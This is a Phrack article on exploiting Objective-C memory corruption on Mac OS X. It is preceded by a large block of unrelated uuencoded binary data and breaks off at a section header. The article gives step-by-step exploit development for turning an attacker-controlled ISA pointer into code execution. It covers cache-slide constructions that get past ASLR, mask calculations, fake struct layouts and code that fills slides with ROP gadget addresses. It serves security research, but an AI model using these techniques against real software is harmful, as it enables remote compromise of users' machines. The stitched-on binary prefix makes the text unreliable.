MHC$H_D'FL#O])=NRVDA1(<^I2BV4$D609%RT!]EL&!FI&A512IX4.HUZK<KO M9S?OZ+LN[G!.3#:$0D7`IE#1!A#IBZ36AXEM'%8[RR/(4I2UJV".FMH%7*VK M)"TBL"U]^S>8M$TU2_‑;YL6‑7416D!1D$9#'[;XTV@<,D=^ZR:I2'F‑ZU;S# MQBYR#IB63)LMGCNDZGR_:9A,^<24B&)"%\6ZIJ%?>F83UQ`Z%SE0M%C+:0JI M)1Q#QSPDD^5GI+D#K0M"Z++‑F5.,A)<>BRXC@E)JS@U33=6L=4TF(K92A85H M4>5")2..!%@[*59.VM:(‑,F"SDAXW`HHHHH+)$5(D/P(&>8!IF,)#$"R6F,D MN9,%"*8PE2#&$Q"Q"2H8F("F"2*$!1`)20^\Q9Z\F\&V,>P.WHSC"?&?##[% M7="9SQB9+;$7]4J]*P,L*9N‑(;6!A!>7[T,N#&>:J]6*+!<H`S##2A3#)625 M@8&0JE;\Y28`;TPYV_O=$(ES'17T#S3ROSY^:<‑_M_#WG:"`%AV62Q8#@DJ_ M<;'102VF6(O\0#/?AU"*K4J#VW[(W#‑'F%9/F`)>380194#7+U'0(O`*F_AL MP28]D$&)?V.#SGXN1M3K2.P.L0/NH![I.)IHX"3GLT"PX;HPG,)?7J+`3V%* M:<B02$"4@Y.)W#S.(R/B8!CD@EUM(R+(>9H9[,X37T`ZCR#,Y>MO9(`:_?Z; M]E#TO^‑3Y_W.&YC!>(PJ'CRD&YF99C`N4#W@^ARVW$3(F$%]2*\<7#',V,H. MPR4?EH`%VT+V‑!GP)ULF"XH+NUL0VWR`>T4YPZ#WHWR)R3$4D.8KY^A#[Z!O MQ<`QBF]FOC+6`Y(H5Q4;X)2<15\U!I>M76J$:TXE1B1B9H3[5UK6R]T[YBX$ M.6:1(9A8\0)C\W4M5B(8M!8=5*4(\I;V(.R!C1,S4@>''DL9C)"QVFW9.TO/ MD*=,#P#",4,8'S(*3RL`4F$AA@3?H`:(`9(X&!(](%`9MIAP!SJP5X"*+(#\ MC1F#ZV4!46$18BC/:@28PDLUB@<TGK=G,65K50_N>U*P"";^#T\X7?1A4>R5 M6A@<IJ]WXOCS9NE91'KYTP#&DC&B##?6D<TR2)*E3O51TFQ%TP/&4%(A?=#& M;391U;4UX%)8BCE+E"]="Y+$J\I6>!%+._7LR[`K1"GK.H,#/A][O,@:14$V MP(564ID36/@0`)YH";‑B%D&0/QSA]I4."AZ3+*3FN>AG!T,?=+QA).3DW1,S M/O\%7BH]GJD&>.,L0_"(AZA$2CYSK‑P=<)^]T8.'B'['`X>G%V:)G(KV;.DK MK3>@1QR@J*#%L9%4U[J,/8:F*6F%NWD<3&6IHI/^XY‑OJHRFGL`M+I(_A%]9 MWTS,6+7+8Z@Y+>7)KL.W[&'#ZF"LY_/‑`OY<,89``<U]U)=F="PA$‑"K#,:? M:$9)D7CXWZ'=\%71K0.^+B,T)"V\4NC@N1=E4X42&S:&7`T^>;DV+ZRB)=<' M"3FGSG/^?Q9LE<ER*`6H*U!Z"+8ST`'6M02!RE86`‑UL8]1RAG.‑\M"!]K&D M`TP39:@?0@?`/6JCITV!U0%4K):!1J&GK0IMMX%ZS0HZBNUR0PJ##Q!/O?<= M#)B]=9ZB>.S_'9UB%#,A)>_CS'KJW,SB@NF/W;K`"'=OYN!OT/*'N@TH.R3Y

MN&"0_16#U7)1V"2*4EC(&@&``+)!`1"+(DB(5@F0PP1BA!/"7"ZA[AJ"?%>@ M3<^^&`3F(@H]IL`Y7^6FCP\5$%YEE%4%B@C`6062,0BD4@+(#$%&)]OP9AG@ MZ]M!):*$D%BA)%D4)!56@AE+YB/:[QJ/*7U3!3HA^,<8#Z1]."N<NO;^7S\U

MFM572IT^BC`6T+E65_=Q&^<\GOLWNBZ(7EW03FA6>NC=E\W0XZ/S0#I"5680 M^B>0YZ6^?Z0.>C‑FY'+M!,,+67YL)@W=VQ'(BT!R18FM#)T‑92N.[*C1AIHA MI:13=#6;UJ5<D3N)A9UNXC4324K%902+F55]<DSDT0RO>CE,!\U;S'#KN0VN MSFVP/(F37C^T9*K06&1=R=$5:&)R;(;!=852‑9!A\.BA[D1960A%]&NL/%JM MBX8FB:7E)URX,&WDZ:V/AT#Y5^ASQ4<‑P.:3$QP(^9UD)BVV,8V=S1WDWM;= M..*].M<Z)!N*‑_‑YSH/3G6123OZS%Y:V9XBG2%‑;7,EH^FDQ`Z5Y_I4U]3ME MWBTZ1@W‑[4@3+E&#‑T3Q64CV$911#KX`4JD[9+>1$&4"19)`B4T7>4?DTE&& MAOCB0#IRUHV642,&R'.W+#0T9`8*#3/W4‑['JK0=OT3TQ‑HQ<:+'NJHEO;5= M2DG#O%AB00]>O,ZV:]#651XTQKO:UHF#O?"4R:O,WR,&A=LHE5DF&H5(\NQ3 MVG[NSHDG)DBR`I((J'1(5@5@L$:P%@Q"=&C>KGX‑2Y8;E!WEL_T#7#?I3I/& M)?S\N‑35@Y_W0T‑_["W!(0!8]`,764&'``8()C2B%H#H@GU7`S&)Q*^;=LJ8 MQ+Y)N%O'^&.D3'2PYL7$(Y."X)F1<KCNIXF!(E3=P^(X0P(N5'L9O:%@L&*8 M1#4OL^U(>U`]HM1\WNFTV&Y!=2':/P9K>(‑[T!FN#H!?+CWC1Q_*UH2`2!&! M`@(B$15%(#&04@@DD0$5B!‑9(#‑8=>Z`Z`BL8B#!!JB0CD8H‑`*$0SQ/]<@+ M/B;4WCV(O6CI[H.4!‑F‑!J#J!(BN;K72!`?CP:A&OK5:$8D$G$.9$'RCK]L_ MFG]0_WN+T'7F/??++8VV]^<O]08_50VO'‑4D@8VH6GKOW<PB,\>B(@)NU`,5 M40@.?R/G$/Q2P'2:SB/F=/+<X$T13].%1"J)0,/EC][^'Y^!T$HC(I]92A?) M+8S?2YMJS#?TW82TA,U!<A*F?=]>!^P?VI]1Z4]DT)*@`?I`03*+]:P4#:(' MYL42\4&T<&1@H@+`/K(2HH%M""S&%1P1LAO*']%(7]*WBRL!19%`‑/"8("L9 M]W=(9+9*FF5E9?LV5(C"+QPY!$>6VM=`U]"^MP#T,7/$`C[,[C1G;2H:3:0MO](9VI>+=6H8RJUE4MA%(:6TB,TA*E0QA,C"=@"$‑Z0M!83IV9WA`T5WW3$" MUJI;Q0R)%!F#0XC6"BBK(QDBD4`Q)(9,O1%YQP0%!2*I$T<KBA/O(=&$/Q,Y ML)M(]*0INE%9`Y(5D@L.?50.2'1".[)S0J$%4X:DY‑$@:MD.7;9FVU*PK4>9 M9"Q,0ZWDTH@>'E8?=9V:DIZ,P#"Y]\'5Y;&(OJU"M4\)4N*@N;‑1BQ"$'K06 M@@#GC=B$B!GCUL](>9W'RLAV,XZ!9.Q`*)+E(8UF[8&;BV@+&F3^J@8=/?6? MUH?5]1E<7W?R?OWJ$R&D0@1'XO^7$B_)'[]GYL_95OP?B601497%%&4C4MR@ MON"?SO4PE.!GE%I=%:"Y)R!]V,M=+(`Y%MY_I7%V5C@S,1/BD>]2"CVLN?8X ME9+V90K%I>S6E5FEP&T.M,4‑W2,%@W6JFV?!:34ZE\QZ(8U\Z?7V]*7VC0$0 M1PO[VUBP'T,;`KV@5@NV(C""*$("I"`B&^"BN7=5F‑OM1/NGOS2`6(D1C:'I M/91G*.,2`DHN,UC75E7:V(AP(C85.‑O'@9!$4*(>MX:$3UHM%4)(I:)(`N)` M+(6,@H(P@:0AB<F`VE2:9%@*J`!NU$ZI01/2K‑Y'IV=D+Z;`_Y9+Y)Z#ULGQ M$WW8S‑‑‑H+Y!5MC#.*BH@B&)JJYR")D:NU9QQD4@&I&,Y]&K.5X.8K6K&#IL M!J4<DZ+7QI\QQ/;"V75$'%T>KG_?&.6J6BLR#TK_'0T%[?8]+EXB^`0D'*,\ M‑`FQN5Z?DLWC[G;';(W3*9WJ\?T3["YJL3+WV0V8‑(RQ)VW38WX9M:(.`=07 M0S>1A=)Q‑9SBC@91MRE^‑M>&2:"Q$74;[T\(#3;QY#W43\J6‑<?T,F1)C_D> M.H*&^(;SM4L(#_:ZA17‑.S,2^Z8<IE;<QT&?M`7O@UV&47B'/(T><2/1=Q‑% M5M7/F;/;+F>?AV`:Q6E`MROL'/Y2IQ!S$/VV[0>,2?H+>C?&8F_V[Q,4K‑L; M%*)``F\ALT>PJ/8W1QF'2F6;N(CB%BM.0*"Z4N(B+O\\1$\MFU$I(3K+_.;C MBBY4"^I(1L5‑H./M7S=CC1%(^<=‑DO.T4Q"DMU/%,"_='*'.,7;&82DQ(D@M M;!J&5`B(H"^'!XYZ55.2Q@PQ%X@)&Y6&9O#6K*T.;<K[W/)`G)_2LGHQ%,!@ M);))`62<2,<(\BKAL]R0#Z2*>Z#E\LF>&B5,[D_,C?M%._@M2.+3,!:,HD'$ M‑F+SY\L_2(BM>=/S7F*O0Y#6$D,6=LU1‑T3E]Q9L>N)D.D(1*H93Z!_VQ3%G M&)X'#7+\55L?#G`W9ORK1'A)ZL4LK4BO"CE%'7:EF3LR0PE\W(X2`62!4X>; M07SXKS09;%'BY,N4/D#BF[@^2WVY0&*>\VI(\G0&!D>Z3%#IB+])4#>2‑,2( MGLER65C>LYP@L0UA4'M0XD*(>;')4&81`92OT/U/+W2R2%5BE29!F%!7.OMG M4"1D9$L8JGDH.C^X:W>%X#5/%)QP&`ECI3J%+)J$AHE61‑‑_<:Y‑_N$AH%Z, ML`K"D6QS>2=,6BR6)"Q2>!`GIB%SS<&%Z)\AZ==],7]"[E23G‑8W1/IJGTZS M)‑J;L@EY19\U?‑8#%‑791R)W1EY=[M._2<C"0I'#D1VDK^V%1$Y5V)%RS*0A M0+O‑!C.)*/!Z6;6(?=‑KE*F?_]D?W,.^MD85"'W9V38:`ZVLDP]HZWWO#P.S

MT"8+<O@]YXOS1XV.;(E)02$B]‑?YTX]^F]SW\9GO5D]_)H;N*?)3)3S(H]]R M'F\LQ\DB0C0QA3WX86C$E\=U!XF+UR_9P[?!ZLGY_G98[7"N6>V`)!1>&"D' M[4^3/0^$3Q>[&#:)M3D28?P&+X]M99D!]KIW:HN^+9U!V(^=1QTXH[*84F6$ M9W3:4&]B8*7`B=6J#"W8V1Q9^N9%8\C$QHR14S$!3.‑‑45HR.+%><`;3RWF_ M,LE‑]\8A;1YH%(>9'^=VSS?+6DH/<A8![_^C4&@"J_&"XH/X]\‑54P*@\6\2 MROT[Y`GA?EC‑.VYUM<<GH1W0'/,)!/M$16.3SNP:&(^)=BTQ@#J2'.]M:7>S M2!+GR;J#W(6S3?'F1'?%_JB0V7EB1$::64W]PI/9I&J_F.3VUSVZN+WO‑8LE M@A65N5QUQB;B")CA&18V601\HQJKJ?K0%AE0E'*?1+>6HC@6\I<I)`HXZ1N[ MTQ'!_[V2]E\7$]D\A"#HCW)\+R"@?^Z8]HQ[9NBF31W1:W9K‑]M=.L/7*Y1> MWRWT0UXA7OS7V5&'NU.L='VT7<G(,ZZD_(ZCF]?,[OZR0,9;?D'9MF#RK[9W ME@IUY'5^IR>^(3IB[C('<#7T#^*3;(;<4813R"25Y](*.)7?C2./?*;0SB.) M([7(66SK\VHPBDL?.N=`X;7N"C'/S8KHIA.51<6W[D4E=8IUR_%1‑R+.SBF\ M\<S,%\`V,N_F2)BUVRA1OKFP9.*^VEO;EW;$])C8+MX6?%_`&\Z?.X‑RFDO) MO,!1I:;9&/FBN31=IO9F]?(V@8M0;P.XW$>&?W$I()CU^[%$V@H@`\/*EKKS

M2`A%?"&9_:?(TK\$P+(*A^G^+ZWH^76;.^6<OY5K9<$@&>&2EG54Q#O&‑EVK M'ED‑5$3@BHB$YW;`AYQ030]@‑WJSKZ/T@R`4/Y7L3IX0ANGN.F&QSQY>=P8_ M03SAU"IA5W==3TT@3^:BWJ!IJC;"U6I/3.L?W;‑7S?DY7\WW‑0GG'0X!Y**^ M/IKCF0CYBN[@5LJ%>'ZCC_IRL,RL(#D,;UNY>"!"!\_"P=M0B)IH%`*I5]!A ‑`__Q=R13A0D""*>+4```

`

Modern Objective-C Exploitation Techniques

==Phrack Inc.==

Volume 0x0f, Issue 0x45, Phile #0x09 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑=[ Modern Objective‑C Exploitation Techniques ]=‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by nemo ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ nemo@felinemenace.org ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Introduction

Hello again reader. Over the years the exploitation process has obviously shifted in complexity. What once began with the straight forward case of turning a single bug into a reliable exploit has now evolved more towards combining vulnerability primitives together in an attempt to bypass each of the memory protection hurdles present on a modern day operating system.

With this in mind, let's jump once again into the exploitation of Objective‑C based memory corruption vulnerabilities in a modern time. Back in Phrack 0x42 (Phile #0x04) I wrote a paper documenting a way to turn the most common Objective‑C memory corruption primitive (an attacker controlled Objective‑C method call) into control of EIP. If you have not read this paper, or if it's been a while and you need to refresh, it's probably wise to do so now, as the first half of this paper will only build on the techniques covered in the original [1]. Contrary to the beliefs of Ian Beer, the techniques in the original paper are still alive and kicking in modern times however some adjustment is needed depending on the context of the vulnerability.

‑‑[ Dangling Objective‑C Method Calls

As you're aware since you read my paper in [1], Objective‑C method calls are implemented by passing "messages" to the receiver (object) via the objc_msgSend() API call.

When Objective‑C objects are allocated, storage for their instance variables is allocated on the native heap with malloc(). The first element in this space is a pointer to the class definition in the binary. This is typically referred to as the "ISA" pointer. As in: "an NSString 'IS‑A' NSObject".

When dealing with bugs in Objective‑C applications it is extremely common for this ISA pointer to be attacker controlled, resulting in an Objective‑C method call to be performed on an attacker controlled memory location. This can occur when dealing with Use‑After‑Free conditions, heap overflows into objective‑c objects, and even format bugs using the %@ format string character.

In my original paper [1] I wrote about how to utilize this construct to perform a successful cache lookup for the selector value, resulting in control of EIP. An alternative route to gain EIP control is to make the Objective‑C runtime think that it's finished looking through the entire cache and found no match for the SEL value passed in. In which case the runtime will attempt to resolve the method's address via the class definition (through the controlled ISA pointer) and once again use an EIP value from memory controlled by us. This method is longer however, and adds little benefit. But i digress, both of these methods are still completely valid in the most current version of Mac OS X at this time Mavericks, (10.10).

While, at the time of the Phrack 0x42 release, this technique was fairly useful by itself, in modern times EIP/RIP control is only a small victory and in no way wins the battle of process control. This is due to the fact that even with direct control of EIP modern NX and ASLR makes it difficult to know a reliable absolute location in which we can store a payload and return to execute it.

From what i've seen, the most commonly used technique to bypass this currently is to combine an EIP control primitive with an information leak of a .text address in order to construct a ROP chain (returning repeatedly into the text segment) which either executes the needed functionality, mprotect()'s some shellcode before executing it, or loads an existing executable or shared library.

Under the right conditions, it is possible to skip some of these steps and turn a dangling Objective‑C method call into both an information leak and execution control.

In order to use this technique, we must first know the exact binary version in use on the target. Thankfully on Mac OS X this is usually pretty easy as automatic updates mean that most people are running the same binary version.

The specifics of the technique differ depending on the architecture of the target system, as well as the location of the particular SEL string which is used in the dangling method call construct.

Since we are already familiar with 32‑bit internals, we will begin our investigation of dangling objc_msgSend() exploitation with the 32‑bit runtime, before moving on to look at the changes in the new run‑time on 64‑bit.

‑‑[ 32‑bit dangling objc_msgSend()

Firstly, 32‑bit processes utilize the old Objective‑C runtime, so the specifics of the internals are identical to what is documented in my original paper. However, depending on the location of the module containing the selector string, the technique varies slightly.

‑‑‑‑[ 32‑bit Shared Region

The shared‑region is a mapping which is common to all processes on the system. The file '/var/db/dyld/dyld_shared_cache_i386' is mapped into this space. This file is generated by the "update_dyld_shared_cache" utility during system update, and contains a large selection of libraries which are commonly used on the system. The .paths files in "/var/db/dyld/shared_region_roots" dictate which files are contained within. The order in which each library is added to this file is randomized, therefore the offset into the file for a particular library cannot be relied on. Reading the file '/var/db/dyld/dyld_shared_cache_i386.map' shows the order of these files.

For 32‑bit processes, this file is mapped at the fixed address 0x90000000. At this location there is a structure which described the contents of the shared region.

This technique, once again, revolves around the ability to control the ISA pointer, and to point it at a fake class struct in memory. In order to demonstrate how this works, a small sample Objective‑C class was created (shown below). The complete example of this technique is included at the end of this paper in the uuencoded files blob.

[leakme.m]

#import "leakme.h"

@implementation leakme

‑(void) log

{

printf("lol\n");

}

@end

In main.m, we create an instance of this object, and then use sprintf() to write out a string representation of the objects address, before converting it back with atol(). This is pretty confusing, but it's basically an easy way to trick the compiler into giving us a void pointer to the object. Type casting the object pointer directly will not compile with gcc.

printf("[+] Class @ 0x%lx\n",l); sprintf(num,"%li",l);

long *ptr = atol(num);

...

printf("[+] Overwriting object\n");

*ptr = &fc; // isa ptr

By overwriting the ISA pointer with the address of an allocation we control, we can easily simulate a vulnerable scenario. Obviously in the real world things are not that easy. We need to know the address of an allocation which we control. There are a variety of ways this can be accomplished. Some examples of these are:

‑ Using a leak to read a pointer out of memory.

‑ Abusing language weaknesses to infer an address. [2]

‑ Abuse the predictable nature of large allocations.

However, these concepts are the topic of many other discussions and not relevant to this particular technique.

As a quick refresher, the first thing the Objective‑C runtime does when attempting to call a method for an object (objc_msgSend()) is to retrieve the location of the method cache for the object. This is done by offsetting the ISA pointer by 0x20 and reading the pointer at this location. To control this cache pointer we use the following structure:

struct fakecache {

char pad[0x20];

long cache_ptr;

};

In the example code we use a separate allocation for the fakecache struct and the cache itself. However in a real scenario the address of the cache itself would most likely be the same address as the fakecache offset by 0x24. This would allow us to use a single allocation, and therefore a single address, reducing the constraints of the exploit. Also, in a real world case we could leak the address of the cache_ptr, then subtract 0x20 from it's address. This would allow us to shave 0x20 bytes off of the buffer we need to control.

Next, objc_msgSend() traverses the cache looking for a cached method call matching the desired implementation. This is done by iterating through a series of pointers to cache entries. Each entry contains a SEL which matches the cached method SEL in the .text segment of the Objective‑C binary. By comparing this SEL value with the SEL value passed to objc_msgSend() the matching entry can be located and used. Rather than iterating through every pointer to find the appropriate cache entry each time however, a mask is applied to the selector pointer. The masked off bits are then shifted and used as an index into the cache table entry pointer array. Then after this index is used, each entry is inspected. This means that multiple entries can have the same index, however it greatly reduces the search time of the cache. Controlling the mask provides us with the mechanism we need to create a leak.

Ok, so going back to the mask. In my original Objective‑C paper, we set the mask to 0. This forced the runtime to look directly past the mask regardless of what value the SEL had. In this case however, we want to abuse the mask in order to isolate the "randomized" unpredictable bits in the selector pointer value (SEL).

Below, we can see a "real" SEL value from a 10.10 system, which is located in the shared_region.

(lldb) x/s $ecx

0x90f3f86e: "length"

Since we know that the shared region begins at 0x90000000 we know that first octet will always be 0x9. We also know that the offset into the page which contains the SEL will always be the same, therefore the last 3 octets 0x86e will be the same for the binary version we retrieve the SEL value from. However, we cannot count on the rest of the SEL value being the same on the system we are running our exploit against.

For the value 0x90f3f86e we can see the bit pattern looks as follows:

9 0 f 3 f 8 6 e

1001 0000 1111 0011 1111 1000 0110 1110 : 0x90f3f86e

Based on what we just discussed the mask which would retrieve the bits we care about looks as follows:

0 f f f f 0 0 0

0000 1111 1111 1111 1111 0000 0000 0000 : 0x0ffff000

However, since objc_msgSend() shifts the SEL 2 to the right prior to applying the mask, we must shift our mask to account for this.

This leaves us with:

0 3 f f f c 0 0

0000 0011 1111 1111 1111 1100 0000 0000 : 0x03fffc00

As you remember, objc_msgSend() applies the following calculation to generate the index into the cache entries:

index = (SEL >> 2) & mask

Filling in the values for this leaves us with an index like:

index = (0x90f3f86e >> 2) & 0x03fffc00 == 0x3cfc00

This means that for our particular SEL value the runtime will index 0x3cfc00 * 4 (0xf3f000) bytes forward, and take the bucket pointer from this location. It will then dereference the pointer and check for a SEL match at that location. By creating a giant cache slide, containing all permutations of slide, we can make sure that this location contains the right value for slide.

In the 32‑bit runtime (the old runtime) the cache index is used to retrieve a pointer to a cache_entry from an array of pointers. (buckets). In our example code (main.m) we set the buckets array up as follows:

long *buckets = malloc((CACHESIZE + 1) * sizeof(void *));

However, in a typical exploitation scenario, this array would be part of the single large allocation which we control.

For each of the buckets pointers, a cache entry must be allocated. In the example code we can use the following struct for each of these entries:

struct cacheentry {

long sel;

long pad;

long eip;

};

Each of these structures must be populated with a different SEL and EIP value depending on its index into the table. For each of the possible index values, we add the (unshifted) randomized bits to the SEL base. This way the appropriate SEL is guaranteed to match after the mask is applied and used to index the table.

For the EIP value, we can utilize the fact that the string table containing the SEL string is always going to be relative to the .text segment within the same binary. The diagram below shows this more clearly.

,_______________,<‑‑‑ Mach‑O base address

| |

| mach‑o header |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| |<‑‑‑ SEL in string table, relative to base

| string table | /\ Relative offset

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ \/ from SEL to ROP gadgets

| |<‑‑‑ ROP gadget in .text segment

| .text segment |

'‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑'

For each possible entry in the table, the EIP value must be set to the appropriate address relative to the SEL value used. The quickest way i know to calculate these values is to break on the objc_msgSend function and dump the current SEL value. In lldb this is simple a case of using "reg read ecx". Next, "target module list ‑a $ecx" provides us with the module base. By subtracting the absolute SEL address from the module base we can get the relative offset within the module. This can be repeated for the gadget address within the same module. Next, when populating the table, we simple need to add these two relative offsets to our potential module base candidate. We increment the module base candidate for each entry in the table.

By populating our cache slide in this way we are guaranteed the execution of a single ROP gadget within the module that our SEL is in. This can be enough for us to succeed. We will look into ways to use this construct later.

Obviously the allocation used for this 32‑bit technique is very large. To calculate the size of the cache slide which we need to generate we need to look at the size of the shared region. The shared region always starts at 0x90000000, but the first module inside the shared region starts at 0x90008000. The end of the shared region depends on the number of modules loaded in the shared region. On the latest version of Mac OS X at this time, the end of the shared region is located at 0x9c391000. The bit patterns for these are shown below.

10010000 00000000 10000000 00000000 :: SR START ‑‑ 0x90008000 10011100 00111001 00010000 00000000 :: SR END ‑‑ 0x9C391000

00001111 11111111 11110000 00000000 :: MASK UNSHIFTED

If we compare this to the unshifted mask, and mask off the bits we care about we get the following values for our potential index values.

00000000 00000000 00100000 00000000 ‑‑ smallest index value ‑ 0x2000 00000011 00001110 01000100 00000000 ‑‑ biggest index value ‑ 0x30E4400

Since the buckets array is an array of 4 byte pointer values we can multiple the largest index by 4, giving us 0xc391000. Each cache entry pointed to by a bucket is 12 bytes in size. This means that the size of the cache entry array is 0x24ab3000.

By adding these two values together we get the total size of our cache slide, 0x30e44000 bytes.

Allocations of this size can be difficult to make depending on the target application. However, also due to the size, they are predictably placed within the address space. This buffer can be made from JavaScript for example.

‑‑‑‑[ Uncommon 32‑bit Libraries

Libraries which are not contained within the shared region are mapped in by the linker when an executable is loaded that requires them as a dependency.

The location of these modules is always relative to the end of the executable file and is loaded in the order specified in the LC_LOAD_DYLIB header.

When loading the executable file, the kernel generates a randomized slide value for ASLR. This value is added to the desired segment load addresses in the executable (if it's compiled with PIE) and then the executable is re‑based to that location.

uintptr_t requestedLoadAddress = segPreferredLoadAddress(i) + slide;

The slide value is calculated by the kernel and then passed to the main function of the dynamic loader. The following algorithm is responsible for generating the slide value.

aslr_offset = (unsigned int)random(); max_slide_pages = vm_map_get_max_aslr_slide_pages(map); aslr_offset %= max_slide_pages;

aslr_offset <<= vm_map_page_shift(map);

where:

uint64_t vm_map_get_max_aslr_slide_pages(vm_map_t map) {

return (1 << (vm_map_is_64bit(map) ? 16 : 8)); }

int

vm_map_page_shift(

vm_map_t map)

{

return VM_MAP_PAGE_SHIFT(map);

}

#define VM_MAP_PAGE_SHIFT(map) \

((map) ? (map)‑>hdr.page_shift : PAGE_SHIFT) #define PAGE_SHIFT I386_PGSHIFT

#define I386_PGSHIFT 12

So for example, a random() value of 0xdeadbeef, would end up as the value 0xef000. With the following calculation:

slide = ((0xdeadbeef % (1<<8)) << 12)

slide = 0xef000

The gcc compiler and llvm both (by default) use a load address of 0x1000 for the text section of an executable. So for the slide value 0xef000 the executable file would be based at 0x1000 + 0xef000 = 0xf0000.

This means that for the most part, you're dealing with roughly 1 byte of unpredictable bits. Depending on the number of libraries loaded which are outside of the shared region, this fluctuates, however libraries are always loaded in the order stipulated by the executable itself, so this is fairly predictable.

For our dangling objc_msgSend technique this means that our mask fluctuates depending on the target. In the best case, masking of the single byte in the address can be achieved by using the mask (0x000ff000 >> 2) == 0x3fc00.

‑‑[ 64‑bit dangling objc_msgSend()

The 64‑bit version of this technique is quite different to it's 32‑bit brethren. This is mostly due to the fact that 64‑bit processes use a brethren. This is mostly due to the fact that 64‑bit processes use a whole new version of the runtime.

In the new runtime, the objc_class structure is no longer a basic C structure. Instead it uses C++ intrinsics to include methods.

The memory footprint for the new class is shown below.

struct objc_class : objc_object {

// Class ISA;

Class superclass;

cache_t cache; // formerly cache pointer and vtable

class_data_bits_t bits; // class_rw_t * plus custom rr/alloc flags

...

}

The cache_t struct looks as follows:

struct cache_t {

struct bucket_t *_buckets;

mask_t _mask;

mask_t _occupied;

...

}

and a bucket_t struct looks like:

struct bucket_t {

private:

cache_key_t _key;

IMP _imp;

...

}

Putting this together. The main thing that has changed regarding the cache lookup, rather than an array of pointers to cache entries, there is simply a single pointer to an array of SEL + method address entries at offset 0x10 into the structure. Following this, there's the mask, followed by an occupied field indicating that entries in the cache exist.

The critical difference in the run‑time is the way the mask is used to index into this table. Rather than the (SEL >> 2) value in the 32‑bit runtime, the index is calculated via ((SEL & mask) << 4). This means, if we were to abuse the mask in a similar way to the 32‑bit technique we would need a mask of 0xffff0000 in order to isolate the randomized bits. Obviously even if we were able to make an allocation big enough to contain the cache slide necessary for this it would be such a time consuming act to populate 4gb worth of cache entries to catch the index that this is not really a feasible process.

Instead we must utilize an additional characteristic of the new runtime. The objc_msgSend() call at a high level looks as follows:

ISA = *class_ptr;

offset = ((SEL & ISA‑>mask) << 4);

while(ISA‑>buckets[offset].SEL != 0) { if(ISA‑>buckets[offset].SEL == SEL) { return ISA‑>buckets[offset].method(args); } else {

offset‑‑; continue;

}

}

This means that if we once again create a large slide containing entries for all possible randomized bits, we simply need to point (using the index we control) the runtime to end of our slide, and let it walk backwards until it finds a match.

‑‑‑‑[ 64‑bit Shared Region

In order to investigate this technique, we will begin again by looking at the shared region on 64‑bit processes. The shared region starts at the address 0x7FFF80000000. Once again a cache file is mapped in, this time from /var/db/dyld/dyld_shared_cache_x86_64. This file is, once again, randomized upon creation, however in 64‑bit processes there is also a random slide added to the file when it is mapped in. This is calculated using sizeof(shared_region) ‑ sizeof(cache file) as the max. As far as our technique goes however this does not really change very much.

Calculating the mask value for this technique can be challenging. There are a few constraints which we must work against in order to index our bucket list to the last entry.

To investigate this we will take a typical SEL value 0x00007fff99f88447 The bit pattern is broke down below.

SEL:

0x00 00 7f ff 99 f8 84 47 00000000 00000000 01111111 11111111 10011001 11111000 10000100 01000111

Unfortunately the mask variable is only 4 bytes long. This means that the predictable bits in the upper 32‑bits of the SEL are not available to us. Also, the last 12 static bits (offset into page ‑ 0x447) would result in an index that is too small. If we used those bits we would not have a large enough offset to index to the end of the slide. Luckily, we have one single static bit in position 33 which we can count on being set. We can take advantage of this bit with the following mask.

Mask:

0x00 00 00 00 80 00 00 00 00000000 00000000 00000000 00000000 10000000 00000000 00000000 00000000

Applying this bit to any SEL value within the shared region will guarantee the offset 0x80000000. Clearly this value is way beyond the end of our required slide, however since we also control the pointer to the bucket slide, we can subtract (0x80000000 ‑ sizeof(cache)) from the pointer value to force it to point to the right location.

The example code main64.m demonstrates this technique. In this code, we use a fakecache structure to control the initial cache lookup. A pad is used to correctly position the bucket pointer and mask.

struct fakecache {

char pad[0x10];

long bucketptr;

long mask;

};

Next, we allocate an array of cache entry structs in order to hold our SEL slide. Obviously in a real attack all these elements would be in a single allocation, however for this example we will split them up for clarity.

struct cacheentry {

long sel;

long rip;

};

struct cacheentry *buckets = malloc((NUMBUCKETS+1) * sizeof(struct cacheentry));

Initializing each of these elements is simply a case of incrementing the random value added to the SEL each time, and populating each entry.

Again, the RIP value is calculated by adding a relative offset to the SEL in order to locate our ROP gadget.

for(slide = 0; slide < NUMBUCKETS ; slide++) { buckets[slide].sel = BASESEL + (slide * 0x1000); buckets[slide].rip = buckets[slide].sel ‑ 75654446; }

‑‑‑‑[ Uncommon 64‑bit Libraries

Once again, libraries which are not within the shared region are mapped directly after the executable image in memory. Typically the text segment address generated by the compiler is 0x100000000.

The same code is used to to generate the slide that we looked at earlier in the 32‑bit section. Here is an example of a slide for a 64‑bit process with the random() value of 0xdeadbeef.

slide = ((0xdeadbeef % (1<<16)) << 12) slide = 0xbeef000

example SEL = 0x10beef447

As you can see, in this example, there is no predictable bit in the lower 32‑bits of the SEL which we can rely on to index to the end of our table. Our only option here is to utilize the random bits in the SEL. We can do this by repeating the entire spectrum of randomized values in our slide multiple times. This way depending on the value of the random bits a different offset will occur into the slide, however in most scenarios it will result in finding one instance of the correct entry.

‑‑[ Single Gadget Exploitation Strategies

Now that we've looked at how to get execution to a predictable location of our choice, the next step is to look at some ways to utilize this to our advantage.

Obviously there is an abundance of ways that this can be utilized, but the following 3 methods are ways that I have seen succeed in real life.

‑‑‑‑[ Return SEL Gadget

